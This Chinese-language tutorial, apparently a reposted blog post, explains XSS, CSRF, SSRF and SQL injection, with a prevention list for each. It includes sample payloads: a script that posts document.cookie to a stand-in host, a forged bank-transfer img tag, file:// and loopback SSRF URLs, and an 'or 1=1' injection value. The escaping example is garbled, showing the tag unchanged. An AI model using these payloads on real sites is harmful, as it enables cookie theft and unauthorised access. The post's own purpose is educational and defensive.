XSS
全稱:Cross Site Scripting
中文名:跨站腳本
原理:利用網站漏洞和用戶對該網站的信任,植入惡意javascript腳本,讓用戶訪問的時候出現不被預期、惡意的操作,
例:
1.用戶A在某論壇評論區評論, 并植入惡意代碼,
你是個好人, <script> alert(1); ajaxPost("http://xxx.com/saveCookie", document.cookie); </script>
2.用戶A評論后,資料保存到服務端資料庫中,
3.其它用戶查看該評論后,首先看到內容"你是個好人",然后瀏覽器彈出彈窗提示1,接著便把自己的cookie資料提交給了http://xxx.com/saveCookie,
預防:
1.服務端替換惡意內容,比如替換<script>標簽等,保存到資料庫
2.服務端回傳網頁內容的時候,轉義標簽,比如<script> 轉義為 <script>
CSRF
全稱:Cross-site Request Forgery
中文名:跨站請求偽造
原理:利用 網站對瀏覽器的信任(基于會話原理),讓用戶執行非本意操作,
例:
1.銀行提供轉賬服務:http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
2.小明登錄該銀行系統
3.小明沒關閉此瀏覽器,又瀏覽了另一個網站B,網站B含惡意代碼: <img src="http://www.examplebank.com/withdraw?account=小明&amount=1000&for=壞人">
4.小明的錢就轉到壞人那里去了,
原因:小明登錄了銀行網站,會話沒有過期,銀行網站信任該瀏覽器,認為屬于一個會話中屬于同一個人所為,便讓轉賬成功了,可惜這個操作并不是小明的本意,而是被利用了,
預防:
1.Referer校驗, 當請求頭中的域名和本網站域名一致,才認為沒有遭到CSRF攻擊,
2.Token亂數回傳,服務器生成Token給客戶端,客戶端回傳該token,服務端校驗token,因為跨站腳本無法事先取得token,便無法偽造正確的請求,
SSRF
全稱:Server-Side Request Forgery
中文名:服務器端請求偽造
原理:利用 服務端提供了從其他服務器獲取資料的功能且沒有對目標地址做過濾與限制的 缺陷 , 攻擊內部系統,
例:
1.客戶端提交 http://xxx.com/getUrl?url=http://xxx.com/123.jpg
2.服務端獲取url引數值http://xxx.com/123.jpg,然后請求之,得到結果回傳給用戶,
假設客戶端惡意提交url后面的引數,比如:file://123.txt, ftp://127.0.0.1 等等其它協議的網址,便攻擊了服務器,使服務器讀取本地檔案,訪問ftp站點了等了,
預防:
1.協議限制,比如僅允許http和https
2.ip或域名白名單
SQL注入
原理:利用 資料庫系統的漏洞,攻擊資料庫系統,
例:
1.服務端登錄介面login的入參為:(String id,String password), SQL陳述句為: select count(1) from user where id=id and password=password;
2.攻擊者呼叫login介面,傳入惡意引數,id=123&password=123 or 1=1;
3.攻擊者如愿登錄系統,原因就是:password的值"123 or 1=1"被資料庫執行了or 1=1,繞過了前面的檢查,
預防:
1.檢查入參是否合理
2.改寫sql陳述句,比如不要在SQL陳述句進行校驗邏輯,應該select password from user where id=id,然后在代碼中進行密碼匹配,
3.使用PrepareStatement,或者Mybatis的#{}
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/248391.html
標籤:Java
上一篇:Java基礎
